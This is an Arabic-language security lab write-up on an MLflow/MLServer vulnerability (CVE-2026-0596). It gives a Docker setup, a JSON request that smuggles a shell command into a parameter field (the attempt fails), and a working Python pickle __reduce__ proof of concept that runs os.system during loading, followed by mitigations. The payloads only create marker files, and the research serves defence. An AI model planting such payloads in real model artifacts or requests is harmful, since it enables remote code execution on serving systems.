بيئة بحث ونصوص برمجية للتحقق من تقييم سلوكيات إلغاء التسلسل في MLflow وMLServer.
| المقياس | التفاصيل |
|---|
| معرف الثغرة | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| تعداد نقاط الضعف الشائعة | CWE-78: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أوامر نظام التشغيل') |
| الدرجة الأساسية CVSS v3.1 | 9.6 حرجة (CNA: huntr.dev) / 7.8 عالية (NVD) |
| متجه التأثير | مجاور للشبكة، تعقيد منخفض، لا تتطلب صلاحيات، بدون تفاعل المستخدم |
| النظام البيئي المتأثر | mlflow/mlflow (جميع البنى القديمة التي تخدم عبر enable_mlserver=True) |
يوفّر MLflow تكاملاً مع MLServer من Seldon للتعامل مع تقديم النماذج عالي الأداء بمستوى المؤسسات. عند تشغيل خادم النماذج عبر واجهة سطر الأوامر أو واجهة برمجة تطبيقات خادم التتبع، يستخدم المطورون علامة معامل التكوين:
enable_mlserver = True
## 📋 الملخص التنفيذي
تقيّم هذه البيئة المخبرية سلوك وقت التشغيل لأطر تقديم نماذج التعلم الآلي عند تحليل معاملات الإدخال المقدمة من المستخدم وبيانات تعريف القطع الأثرية. وبينما تعزل حدود تحليل المعاملات المواجهة لواجهة برمجة التطبيقات في MLServer السلاسل النصية الأولية بشكل نظيف (ما يمنع حقن أوامر نظام التشغيل التقليدي عبر محارف الصدفة)، تظل بيئة تشغيل Python الأساسية معرّضة هيكلياً لـ **إلغاء التسلسل غير الآمن** عند استيعاب تدفقات الكائنات المتسلسلة القديمة (`.pkl` / `pickle`).
* **نوع الثغرة:** إلغاء تسلسل غير آمن (CWE-502) / تنفيذ أكواد عشوائي
* **الأثر:** حرج (تنفيذ أكواد عن بُعد داخل سياق الحاوية)
* **المكونات المتأثرة:** استيعاب النماذج، الأنظمة الفرعية لتنزيل القطع الأثرية، والواجهات الخلفية للتنبؤ القائمة على `pickle`.
---
## 🛠️ البنية والإعداد المخبري
تمت حاوية بيئة إعادة الإنتاج باستخدام Docker لعزل طبقة نظام التشغيل ومحاكاة نقطة نهاية لنماذج التعلم الآلي بمستوى إنتاجي.
### 1. إعداد بيئة Docker (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
حاولت الاختبارات الأولية تمرير تسلسلات حمولة إنهاء الصدفة (; touch /tmp/poc_success_marker.txt #) عبر مصفوفة حمولة params في نقطة نهاية REST /invocations:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
النتيجة: سلبية. عالج الإطار الحمولة بأمان كقيمة سلسلة نصية حرفية مطلقة غير مُقيَّمة. يؤكد هذا أن المحرك يجرد متغيرات الإدخال مباشرة في مساحات ذاكرة Python بدلاً من توليد وسائط صدفة النظام ديناميكياً عبر غلاف أوامر خام.
ونظراً لأن MLflow و MLserver يستوعبان كائنات Python المترجمة، ينتقل الخطر الأساسي من تقييم السلاسل النصية إلى إعادة بناء مخطط الكائنات. باستخدام برنامج تحقق مخصص، تم تضمين مشغل تنفيذ مباشرة في تدفق نموذج محاكى باستخدام طريقة التحسين السحرية الأصلية في Python (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
تم حقن البرنامج في بيئة الحاوية المعزولة لمحاكاة تسلسل التحميل الخلفي:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
أكد الاستعلام عن الدليل المؤقت المعزول للحاوية أن تنفيذ الأكواد العشوائي حدث فوراً خلال حلقة تخصيص الكائنات:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
تنبع المشكلة من الثقة الضمنية في طبقة تخزين القطع الأثرية للنماذج. لا تعمل ملفات .pkl / pickle القياسية في Python كسجلات تكوين مسطحة فحسب؛ بل تحتوي على تعليمات بايت كود تسلسلية تهدف إلى إعادة بناء خصائص الكائنات المتداخلة.
عندما يوزع pickle.load() مجموعة البيانات، فإنه يعطي الأولوية لتدفق التعليمات المقدم من خطاف __reduce__. يعيد هذا توجيه التطبيق المستهدف لاستدعاء ثنائيات النظام الأصلية (os.system) مباشرة في بيئة الصدفة قبل أي تحقق من أنواع البيانات أو حسابات استدلال التعلم الآلي.
أوقف استخدام طبقات التسلسل القديمة (pickle, joblib, marshal) في جميع خطوط التدريب والنشر. واستبدلها بقيود هيكلية تخص البيانات فقط:
إذا كان خط أنابيبك يتطلب نماذج التكوين القديمة بشكل صارم:
USER 10001).cap_drop: [ALL]) وعزل البود عن الشبكات التي تحتوي على نقاط نهاية بيانات وصفية حساسة.